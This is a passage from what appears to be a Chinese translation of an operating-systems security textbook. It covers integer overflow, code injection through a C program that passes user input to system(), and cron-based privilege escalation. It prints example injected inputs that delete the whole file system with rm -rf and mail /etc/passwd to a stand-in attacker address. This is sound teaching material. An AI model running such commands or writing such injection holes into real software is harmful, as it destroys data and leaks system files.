误地计算存储图像所需要的内存空间，从而可能申请一块比实际小得多的内存。至此缓冲区溢出攻击的时机已经成熟。对于有符号整型数，也可以采用相似的办法进行攻击。

9.6.5 代码注入攻击

使得目标程序执行它所不期望的代码是一种攻击形式。比如有时候需要将用户文件以其他文件名另存（如为了备份）。如果程序员为了减轻工作量而直接调用系统函数，开启一个shell并执行shell命令。如下的C代码

```
System("ls >file-list")
```

开启shell，并执行命令

```
ls >file-list
```

列出当前目录下的文件列表，将其复制到叫做file-list的目录下。如上面所说，程序员写的代码可能如图9-26所示。

```
int main(int argc, char *argv[])
{
  char src[100], dst[100], cmd[205] = "cp ";          /* 声明3个字符数组*/
  printf("Please enter name of source file: ");       /* 提示输入源文件名*/
  gets(src);                                          /* 从键盘获取输入信息*/
  strcat(cmd, src);                                   /* 把输入信息连接在"cp"后面*/
  strcat(cmd, " ");                                   /* 在cmd末尾加入一个空格*/
  printf("Please enter name of destination file: ");  /* 提示输入目的文件名*/
  gets(dst);                                          /* 从键盘获取输入信息*/
  strcat(cmd, dst);                                   /* 构造完整的cmd*/
  system(cmd);                                        /* 执行复制命令*/
}
```

图9-26 可能导致代码注入攻击的程序

该程序的功能是输入源和目的文件名后，用cp命令产生一条命令，最后调用system执行这条命令。如果用户分别输入“abc”和“xyz”，产生的命令为：

```
Cp abc xyz
```

它确实是在复制文件。

不幸的是，这段代码在有一个巨大的安全漏洞，可以用代码注入方法进行攻击。假如用户输入“abc”和“xyz; rm -rf”，命令就变成了：

```
Cp abc xyz; rm -rf/
```

先复制文件，然后递归地删除整个文件系统中所有文件和文件夹。如果该程序以系统管理员权限运行，此命令就会完全执行。问题的关键在于，分号后的字符都会命令的方式在shell中执行。

输入参数另一个构造例子可以是“xyz; mail snooper@badguys.com< /etc/passwd”，产生如下命令：

```
Cp abc xyz; mail snooper@badguys.com< /etc/passwd
```

将etc目录下passwd文件发送到了一个不可信的邮箱中了。

9.6.6 权限提升攻击

另一类攻击叫做权限提升攻击（privilege escalation attack），即攻击者欺骗系统为其赋予比正常情况下更高的权限（一般情况下攻击者都希望获取超级用户权限）。比较著名的例子是利用计划任务（cron daemon）进行攻击。cron daemon帮助用户每隔固定的时间进行工作（每个小时、每天、每周等）。cron daemon通常都运行在root权限下，以便可以访问任何用户的文件。它有一个目录专门存放一系列指令，来完成用户计划的一系列工作。当然该目录不能被用户修改，否则任何人都可以利用root权限做任何事情了。

攻击过程如下：攻击者的程序将其目录设定为cron daemon的工作目录，此时该程序并不能对此目录进行修改，不过这并不会对攻击有任何影响。该程序接下来将引发一次系统故障，或者直接将自己的